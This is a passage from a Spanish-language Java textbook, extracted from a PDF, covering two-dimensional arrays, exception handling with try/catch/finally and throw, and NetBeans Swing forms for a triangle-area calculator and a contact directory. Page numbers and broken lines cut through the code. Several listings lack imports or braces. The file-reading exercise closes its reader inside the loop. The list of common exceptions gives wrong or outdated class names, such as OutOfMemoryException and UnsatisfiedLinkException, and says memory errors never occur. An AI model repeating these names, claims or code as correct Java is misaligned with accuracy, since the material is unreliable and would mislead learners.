
Se mostrará un ejemplo de ello:

int [filas][columnas] a = { {1,2},{3,4} };

101
Mostraremos gráficamente un ejemplo de como se posicionan los valores
ya que las filas se indizan o indexan con los valores desde cero para el
primer valor 1 y así el siguiente…etc.

Imagen 1.50, Ejemplo de arreglo bidimensional

A continuación, realizaremos programa que llene una matriz, y que el

usuario pueda introducir los datos así mismo mostrar todo el contenido que
hay en ella.

import java.util.Scanner;
public class arreglo {

public static void main(String[] args)

{
Scanner leer = new Scanner(System.in);

System.out.println("Ingrese el número de filas para su matriz");

int f = leer.nextInt();
System.out.println("Ingrese el número de columnas para su matriz");
int c = leer.nextInt();

102
 int [][] m = new int[f][c];

for (int x=0; x < m.length; x++) {

for (int y=0; y < m[x].length; y++) {
System.out.println("Introduzca el elemento [" + x + "," + y + "]");
m[x][y] = leer.nextInt();
}
}
for(int fi=0;fi<m.length;fi++) {
for(int co=0;co<m[fi].length;co++) {
System.out.print(m[fi][co]+" ");
}
System.out.println();
}
}

1.49 En este ejercicio haremos un programa que lea los números enteros
y los guarde en una matriz de 5 filas y 4 columnas. Se mostrarán los
valores leídos, el mayor:

public class Bidimencional12 {

public static void main(String[] args) {
final int FILAS = 5, COLUMNAS = 4;
Scanner sc = new Scanner(System.in);
int i, j, mayor, menor;
int filaMayor, filaMenor, colMayor, colMenor;
int[][] A = new int[FILAS][COLUMNAS];
System.out.println("Lectura de elementos de la matriz: ");
for (i = 0; i < FILAS; i++) {
for (j = 0; j < COLUMNAS; j++) {
System.out.print("A[" + i + "][" + j + "]= ");
A[i][j] = sc.nextInt();
}
}
System.out.println("valores introducidos:");
for (i = 0; i < A.length; i++) {
for (j = 0; j < A[i].length; j++) {
System.out.print(A[i][j] + " ");
}
System.out.println();

103
 }
mayor = menor = A[0][0];//se toma el primero como mayor y menor
filaMayor = filaMenor = colMayor = colMenor = 0;

for (i = 0; i < A.length; i++) { //

for (j = 0; j < A[i].length; j++) {
if (A[i][j] > mayor) {
mayor = A[i][j];
filaMayor = i;
colMayor = j;
} else if (A[i][j] < menor) {
menor = A[i][j];
filaMenor = i;
colMenor = j;
}
}
}
System.out.print("Elemento mayor: " + mayor);
System.out.println(" Fila: "+ filaMayor + " Columna: " + colMayor);
System.out.print("Elemento menor: " + menor);
System.out.println(" Fila: "+ filaMenor + " Columna: " + colMenor);
}
}

104
1.50 Ejercicio crearemos una matriz de n * m filas imprimir el mayor
elemento y la fila, columna donde se almacena:

public class Matriz6 {

private Scanner teclado;
private int[][] mat;

public void cargar() {

teclado=new Scanner(System.in);
System.out.print("Cuantas fila tiene la matriz:");
int filas=teclado.nextInt();
System.out.print("Cuantas columnas tiene la matriz:");
int columnas=teclado.nextInt();
mat=new int[filas][columnas];
for(int f=0;f<mat.length;f++) {
for(int c=0;c<mat[f].length;c++) {
System.out.print("Ingrese componente:");
mat[f][c]=teclado.nextInt();
}
}
}

public void imprimirMayor() {

int mayor=mat[0][0];
int filamay=0;
int columnamay=0;
for(int f=0;f<mat.length;f++) {

105
 for(int c=0;c<mat[f].length;c++) {
if (mat[f][c]>mayor) {
mayor=mat[f][c];
filamay=f;
columnamay=c;
}
}
}
System.out.println("El elemento mayor es:"+mayor);

System.out.println("Se encuentra en la fila:"+filamay+ " y en la columna:

"+columnamay);
}

public static void main(String[] ar) {

Matriz6 ma=new Matriz6();
ma.cargar();
ma.imprimirMayor();
}
}
Para poder obtener el elemento mayor de la matriz junto con la fila y la
columna lo que hicimos es inicializar una variable mayor con el elemento
de la fila cero y la columna cero hay se almacenara el mayor:

Int mayor=mat[0][0]; // aquí estamos declarando nuestro arreglo

bidimencional
Int filamay=0; // lo inicializamos en cero
Int columnamya=0;

106
Después comenzamos con dos for recorremos los elementos de la matriz y
cada vez que encontramos un elemento mayor, lo actualiza y
procedemos con la variable mayor y la posición donde se almacena.
For(int f=0; f<mat.length; f++)
{
For(int c=0; c<mat[f].legth; c++){
If(mat[f][c]>mayor)
{
Mayor=mat[f][c];
Filamay=f;
Columnamay=c;
}
}

107
 4. Excepciones
4.1. Definición de Excepción
Una excepción es un proceso usado para describir algo que no esperaba, o
sencillamente problemas.

Son el medio que ofrecen algunos lenguajes de programación para tratar

situaciones anónimas que pueden suceder cuando ejecutamos un
programa.

En la programación siempre se producen errores graves, pero que hay que

gestionar y tratar correctamente. Por ello en java disponemos de un
mecanismo consistente en el uso de bloques try/catch/finally, que en
próximo subtema ya estaremos entrando a este concepto.
Tipos de excepciones:
-Checked: Son las excepciones que revisa el compilador.

-Unchecked: Son las excepciones que no revisa el compilador y se dan en

tiempo de ejecución.
Ejemplo: RuntimeException

Imagen 1.51, Ejemplo de a excepción

108
Excepciones más comunes en Java
ArithmeticException

Las excepciones aritméticas son típicamente el resultado de una división

por 0:
int i = 12 / 0;
NullPointerException

Se produce cuando se intenta acceder a una variable o método antes de

ser definido:
class num2 extends Applet {
Image img;
paint( Graphics g ) {
g.drawImage( img,25,25,this );
}
}
IncompatibleClassChangeException

El intento de cambiar una clase afectada por referencias en otros objetos,

específicamente cuando esos objetos todavía no han sido recompilados.
ClassCastException
El intento de convertir un objeto a otra clase que no es válida.
y = (Prueba)x; // donde x no es de tipo Prueba
NegativeArraySizeException

Puede ocurrir si hay un error aritmético al intentar cambiar el tamaño de un

arreglo.
OutOfMemoryException

¡No debería producirse nunca! El intento de crear un objeto con el

operador new ha fallado por falta de memoria. Y siempre tendría que
haber memoria suficiente porque el garbage collector se encarga de
proporcionarla al ir liberando objetos que no se usan y devolviendo
memoria al sistema.

109
NoClassDefFoundException
Se referenció una clase que el sistema es incapaz de encontrar.
ArrayIndexOutOfBoundsException

Es la excepción que más frecuentemente se produce. Se genera al

intentar acceder a un elemento de un arreglo más allá de los límites
definidos inicialmente para ese arreglo.
UnsatisfiedLinkException

Se hizo el intento de acceder a un método nativo que no existe. Aquí no

existe un método a.kk
class A {
native void kk();
}
y se llama a a.kk(), cuando debería llamar a A.kk().
InternalException

Este error se reserva para eventos que no deberían ocurrir. Por definición, el
usuario nunca debería ver este error y esta excepción no debería lanzarse.

110
Imagen 1.52, Ejemplo de tipo de excepción

111
 4.2. Sentencia try-catch-finally
El control de flujo de un programa Java sabemos que lleva a cabo con
sentencias del tipo if, while, for, return, break, etc… Estas sentencias forman
un conjunto de palabras reservadas que determinan cierta funcionalidad.

Vamos a ver tres de las palabras reservadas para tratamiento de

excepciones:

- Try.

- Catch.

- Finally.

Try en inglés es el verbo intentar, así que todo el código que vaya dentro de
esta sentencia será el código sobre el que se intentará capturar el error si se
produce y una vez capturado hacer algo con él. Lo ideal es que no ocurra
un error, pero en caso de que ocurra un bloque try nos permite estar
preparados para capturarlo y tratarlo.

try {
System.out.println(“bloque de código donde pudiera saltar un error
es este”);
}
En catch, este bloque definimos el conjunto de instrucciones necesarias o
de tratamiento del problema capturado con el bloque try anterior. Es
decir, cuando se produce un error o excepción en el código que se
encuentra dentro de un bloque try, pasamos directamente a ejecutar el
conjunto de sentencias que tengamos en el bloque catch. Esto no es
exactamente así pero ya explicaremos más adelante todo el
funcionamiento.

catch (Exception e) {
System.out.println(“bloque de código donde se trata el
problema”);
}

112
después de catch hemos puesto unos paréntesis donde pone “Exception
e”. Esto significa que cuando se produce un error Java genera un objeto
de tipo Excepción con la información sobre el error y este objeto se envía
al bloque catch.
Y para finalizar tenemos el bloque finally que es un bloque donde
podremos definir un conjunto de instrucciones necesarias tanto si se
produce error o excepción como si no y que por tanto se ejecuta siempre.
finally {
System.out.println(“bloque de código ejecutado siempre”);
}

Imagen 1.53, Ejemplo de tipo de try catch

113
public class Programa {

public static void main (String [] args) {

try{

System.out.println("Intentamos ejecutar el bloque de instrucciones:");

System.out.println("Instrucción 1.");
System.out.println("Instrucción 2.");

System.out.println("Instrucción 3, etc.");

catch (Exception e) { System.out.println("Instrucciones a ejecutar

cuando se produce un error"); }

finally{ System.out.println("Instrucciones a ejecutar finalmente tanto si se

producen errores como si no."); }

Imagen 1.54, Ejemplo de try catch

114
1.51 Ejercicio de try catch:
public class Prgrama12 {
public static void main (String args[]){
try{

FileReader fr = new FileReader("c:/anahuac/datos.dat");//indicamos

una ruta
BufferedReader br = new BufferedReader(fr);
String linea;
linea = br.readLine();
String datos []=linea.split("\\|");
while (linea !=null){
System.out.println(linea);
linea=br.readLine();
//carolina |1234|
datos=linea.split("\\|");
//datos[0]="carolina"
br.close();
fr.close();
}
}catch(Exception e){
System.out.println("Error:"+e.toString());
}
}
}

115
 Imagen 1.55, Ejemplo de try catch 1.51

1.52 En este ejercicio definiéremos un comportamiento de tipo

reanudación utilizando un bucle while que se repita hasta que se deje de
generar una excepción:

public class ExcepcionConReanudacion {

public static void main(String[] args) {
boolean continuar = true;
while(continuar) {
try {
System.out.print("Introduce un número entero: ");

InputStreamReader datosInsertados = new

InputStreamReader(System.in);
BufferedReader datos = new BufferedReader(datosInsertados);
String cadenaDatos = datos.readLine();
int numero = Integer.parseInt(cadenaDatos);
int cuadrado = numero * numero;
System.out.println("El cuadrado de " + numero + " = " + cuadrado);
continuar = false;
} catch(Exception e) {
System.out.println(e.getMessage());
}
}
}

116
}

Imagen 1.56, Ejemplo de try catch 1.52

En este programa se controla el error producido si se introduce un dato no

entero y si se intenta acceder a una posición fuera del arreglo.

Imagen 1.57, Ejemplo de try catch

117
El sistema de control de excepciones puede ser anidado a cualquier nivel.
Debe mantenerse la regla de que un bloque try debe ser seguido por
un catch.
Pueden existir secuencias try-catch dentro de bloques try y de
bloques catch.

4.3. Arrojar y Encadenar excepciones

Captura de excepciones:

Cuando un fragmento de código sea susceptible de lanzar una excepción

y queramos tratar el error producido o bien por ser una excepción de
tipo checked debamos capturarla, podremos hacerlo mediante la
estructura try-catch-finally, que consta de tres bloques de código:

Bloque try: Contiene el código regular de nuestro programa que puede

producir una excepción en caso de error.
Bloque catch: Contiene el código con el que trataremos el error en caso
de producirse.
Bloque finally: Este bloque contiene el código que se ejecutará al final
tanto si se ha producido una excepción como si no lo ha hecho. Este
bloque se utiliza para, por ejemplo, cerrar algún fichero que haya podido
ser abierto dentro del código regular del programa, de manera que nos
aseguremos que tanto si se ha producido un error como si no este fichero
se cierre. El bloque finally no es obligatorio ponerlo.

1.52 Ejemplo de try catch con finally:

public class clase {

public static void main(String[] args){
Scanner entrada= new Scanner(System.in);
int a, b;
boolean error=false;

do{
error= false;
try{
System.out.print("Ingresa un valor: ");
a= entrada.nextInt();
entrada.nextLine();

118
 System.out.print("Ingresa otro valor: ");
b= entrada.nextInt();
entrada.nextLine();

System.out.println("El cociente "+a+"/"+b+" es "+(a/b));

}catch(ArithmeticException e){
error= true;
System.out.println("No se puede dividir entre 0");
}catch(InputMismatchException e){
error= true;
System.out.println("Debes ingresar valores enteros");
}catch(Exception e){
error= true;
System.out.println("Ocurrió un error inesperado.”+“\n\nDetalle: "+
e.getMessage());
}finally{
entrada.nextLine();
}
}while(error);
}

Imagen 1.58, Ejemplo 1.53 de try catch con finally

119
Con getMessage obtenemos una cadena descriptiva del error (si la hay).
Con printStackTrace se muestra por la salida estándar la traza de errores
que se han producido (en ocasiones la traza es muy larga y no puede
seguirse toda en pantalla con algunos sistemas operativos).
Un ejemplo de ello:

try {
... // Aqui va el codigo que puede lanzar una excepcion
} catch (Exception e) {
System.out.println ("El error es: " + e.getMessage());
e.printStackTrace();
}

No debemos dejar vacío el cuerpo del catch, porque se produce el error,

En especial, cuando estemos con excepciones no-checked.

Lanzar excepciones en Java:

Para lanzar una excepción en tiempo de ejecución vamos a utilizar la

palabra clave throw junto a una instancia de la excepción que queremos
lanzar.

Throw se utiliza para lanzar claramente una excepción. Primero se debe

obtener un descriptor de un objeto, mediante un parámetro en una
cláusula catch, o bien utilizando un operador new.

El flujo de la ejecución se detiene inmediatamente después de la

sentencia throw, nunca se llega a la sentencia siguiente, se verifica el
bloque try que la engloba, para ver si tiene la cláusula “catch” ya que
tiene que coicidir con el objeto o instancia Thoreable.
Si encuentra el control se transfiere a esa sentencia.

En el siguiente ejemplo vamos a crear una clase “Persona” con el método

“setEdad” el cual solamente puede recibir por parámetro un número
positivo, de lo contrario se va a lanzar una excepción:

120
public class Persona {

private int edad;

public int getEdad() {

return this.edad;
}

public void setEdad(int edad) {

if (edad <= 0)
throw new RuntimeException("La edad debe ser positiva");
this.edad = edad;
}

Si ejecutamos el siguiente código, donde creamos una persona y le

establecemos la edad en -10, nuestro programa va a terminar su ejecución
con la excepción RuntimeException:

public static void main(String[] args) {

Persona persona = new Persona();
persona.setEdad(-10);
}

Para que nuestro programa no termine su ejecución con un error vamos a

controlar la excepción utilizando un try catch:

public static void main(String[] args) {

try {
Persona persona = new Persona();
persona.setEdad(-10);
} catch (RuntimeException e) {
System.out.println(e.getMessage());
}
}

Dentro del bloque try vamos a incluir el código que puede lanzar la
excepción, mientras que dentro del catch vamos a manejar la posible
excepción lanzada dentro del try, en nuestro caso simplemente vamos a
mostrar el mensaje (“La edad debe ser positiva”) de error que nos
proporciona la excepción.

121
Imagen 1.59, Ejemplo de lanza de excepción

Imagen 1.60, Ejemplo 2 de lanza de excepción

122
 5. Interfaces Gráficas
5.1. Menús
Los Menús son el centro de la aplicación, ya es que es una interfaz gráfica
que interactúa con el usuario.
Algunos componentes que se utilizan dentro de las interfaces son:

Menu Component: Es la superclase de todos los componentes

relacionados con los menús.

Menu Shortcut: Representa el acelerador de teclado, o la combinación de

teclas rápidas, para acceder a un Menu Item.
Menu Item: Representa una opción en un menú.
Menu: Es un componente de una barra de menú.
Menu Bar: Encapsula el concepto de una barra de menú en un frame.

CheckboxMenuItem: Genera una caja de selección que representa una

opción en un menú.

Haremos un ejemplo muy sencillo:

El primero será crear una clase que se llame: “Programa03”

//Clase que calcula el área de un triángulo.

public class Programa03 {
//atributos o propiedades.
private double base,altura;
//constructor por default.
Programa03(){
base=0;
altura=0;
}

123
 Programa03(double base,double altura){
this.base=base;
this.altura=altura;

base=0;
altura=0;
}
/*metodo que calcula el area y regreasa el resultado*/

public double area(){

return base*altura/2;
}
//meto set sirve para afectar propiedades o atrivutos privados
public void setbase(double base){
this.base=base;
}
public void setaltura(double altura){
this.altura=altura;
}
public double getaltura(){
return altura;
}

// Los metodos get sirven para recuperar valores de propiedades o

atrivutos privados
public double getbase(){
return base;
}

124
}
El segundo paso es crear un JFrame Form que se va llamar: “Programa05”
Vamos a arrastrar los siguientes elementos:
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JTextField jaltura;
private javax.swing.JTextField jarea;
private javax.swing.JTextField jbase;
// End of variables declaration
Y este va ser nuestro código:
public class Programa05 extends javax.swing.JFrame {

/**
* Creates new form Programa05
*/
public Programa05() {
initComponents();
}

/**
* This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is

always

125
 * regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {

jLabel1 = new javax.swing.JLabel();

jLabel2 = new javax.swing.JLabel();
jbase = new javax.swing.JTextField();
jaltura = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jarea = new javax.swing.JTextField();
jLabel3 = new javax.swing.JLabel();
jButton2 = new javax.swing.JButton();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabel1.setText("Base");

jLabel2.setText("Altura");

jbase.setBackground(new java.awt.Color(0, 204, 204));

jaltura.setBackground(new java.awt.Color(204, 0, 0));

jaltura.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {

126
 jalturaActionPerformed(evt);
}
});

jButton1.setText("Calcula Area con el constructor parametro");

jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

jarea.setEditable(false);
jarea.setBackground(new java.awt.Color(0, 255, 0));

jLabel3.setText("Area =");

jButton2.setText("Calcula Area con el constructor por default");

jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});

javax.swing.GroupLayout layout = new

javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(

127
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(37, 37, 37)
.addComponent(jbase))

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel3)
.addComponent(jLabel2))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 26, Short.MAX_VALUE)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jaltura)

.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE, 84,
javax.swing.GroupLayout.PREFERRED_SIZE))))

128
 .addGap(246, 246, 246))
.addGroup(layout.createSequentialGroup()
.addGap(60, 60, 60)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jButton2)
.addComponent(jButton1))

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))))
);
layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)

.addComponent(jbase,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)

.addComponent(jaltura,
javax.swing.GroupLayout.PREFERRED_SIZE,

129
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(14, 14, 14)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)

.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(34, 34, 34)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2)
.addContainerGap(99, Short.MAX_VALUE))
);

pack();
}// </editor-fold>

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
//Programa03 p = new Programa03();
//invocar el metodo que convierte texto a numerico doble
double base=Double.parseDouble(jbase.getText());
double altura=Double.parseDouble(jaltura.getText());
//se usa el metodo area
Programa03 p=new Programa03(base,altura);

130
 jarea.setText(""+p.area());
}

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
double base=Double.parseDouble(jbase.getText());
double altura=Double.parseDouble(jaltura.getText());
Programa03 p3= new Programa03();
p3.setaltura(altura);
p3.setbase(base);
jarea.setText(""+p3.area());
}

private void jalturaActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
}

/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting

code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the

default look and feel.

* For details see

http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html

131
 */
try {

for (javax.swing.UIManager.LookAndFeelInfo info :

javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>

/* Create and display the form */

java.awt.EventQueue.invokeLater(new Runnable() {

132
 public void run() {
new Programa05().setVisible(true);
}
});
}

// Variables declaration - do not modify

private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JTextField jaltura;
private javax.swing.JTextField jarea;
private javax.swing.JTextField jbase;
// End of variables declaration
}

Realmente lo que contiene este código jala el programa03 y solo lo

complementamos en nuestros botones.

133
Vamos a mostrar cómo quedaría:

Imagen 1.61, Ejemplo de Menú

Ahora vamos ejecutar las dos opciones de nuestros botones:

Imagen 1.62, Ejemplo de uso de los botones.

134
Imagen 1.63, Ejemplo de uso de los botones.

135
 5.2. Clases y Eventos
Bueno este ejercico estará un complejo y el primer paso será crear una
clase que se llame: “directorio”.
public class directorio {
String nombre;
String telefono;
int mes;
int dia;
directorio(){
nombre="";
telefono="";
mes=0;
dia=0;
}
directorio(String n, String t, int m, int d){
nombre=n;
telefono=t;
mes=m;
dia=d;
}
public void settelefono(String t){
telefono=t;
}
public String getnombre(){
return nombre;
}

136
 public String gettelefono(){
return telefono;
}
public int getmes(){
return mes;
}
public int getdia(){
return dia;
}
public String validador(String n, String t, String m, String d){
String resultado="";
if (n.equals("")){
resultado="Nombre vacio";
}else{
if (t.equals("")){
resultado="Telefono vacio";
}else{

if(m.equals("01")||m.equals("02")||m.equals("03")||m.equals("04")||m.eq
uals("05")||m.equals("06")||m.equals("07")||m.equals("08")||m.equals("09
")||m.equals("10")||m.equals("11")||m.equals("12")){
resultado="Mes correcto";
}
}
}
return resultado;
}
}

137
El segundo paso es relacionar la clase directorio con la siguiente clase que
se llamara: “agenda”.
public class agenda extends directorio {
int dia;
int mes;
double hora;
agenda(){
//Con super se invocan las variables de la agenda
//This es para hablar de la misma agenda, puede o no usarse
super.nombre="";
super.telefono="";
super.dia=0;
super.mes=0;
this.dia=0;
this.mes=0;
this.hora=0.00;
}

agenda(String n, String t, int dia_directorio, int mes_directorio, int mes, int

dia,double hora){
super.nombre=n;
super.telefono=t;
super.dia=dia_directorio;
super.mes=mes_directorio;
this.dia=dia;
this.mes=mes;
this.hora=hora;
}

138
}

Una vez que creemos nuestras clases vamos a crear nuestro Jframe donde
haremos uso de todos nuestros conocimientos hasta ahora:
public class ejercicio02 extends javax.swing.JFrame {

/**
* Creates new form ejercicio02
*/
int x=0;
directorio arreglo[]=new directorio[5];

public ejercicio02() {//Se invoca una sola vez cuando se ejecuta el

programa
//Se instancia cada posicion
/* for(int i=0;i<10;i++){
arreglo[i]=new directorio();
} */
x=0;
initComponents();
}

/**
* This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is

always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">

139
 private void initComponents() {

jLabel1 = new javax.swing.JLabel();

jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jTextField2 = new javax.swing.JTextField();
jTextField3 = new javax.swing.JTextField();
jTextField4 = new javax.swing.JTextField();
jTextField5 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setLocation(new java.awt.Point(300, 300));

jLabel1.setText("Nombre:");

jLabel2.setText("Telefono:");

jLabel3.setText("Mes:");

jLabel4.setText("Dia:");

140
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});

jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});

jTextField5.setBackground(new java.awt.Color(0, 204, 255));

jTextField5.setForeground(new java.awt.Color(255, 255, 255));

jButton1.setText("Agregar");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}

141
 });

jButton3.setText("Modifica");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});

javax.swing.GroupLayout layout = new

javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(18, 18, 18)

.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 272,
javax.swing.GroupLayout.PREFERRED_SIZE))

142
 .addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))
.addGap(13, 13, 13)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

.addComponent(jTextField2,
javax.swing.GroupLayout.DEFAULT_SIZE, 272, Short.MAX_VALUE)
.addComponent(jTextField3))
.addGroup(layout.createSequentialGroup()

.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE, 100,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 168, Short.MAX_VALUE)

.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE, 32,
javax.swing.GroupLayout.PREFERRED_SIZE))))))
.addGroup(layout.createSequentialGroup()
.addGap(156, 156, 156)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

143
 .addComponent(jButton2,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addComponent(jButton1,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addComponent(jButton3,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(0, 0, Short.MAX_VALUE)))
.addGap(31, 31, 31))
);
layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(30, 30, 30)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)

.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)

.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,

144
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)

.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)

.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)
.addComponent(jButton1)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addComponent(jButton2)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)

145
 .addComponent(jButton3)
.addContainerGap(24, Short.MAX_VALUE))
);

pack();
}// </editor-fold>

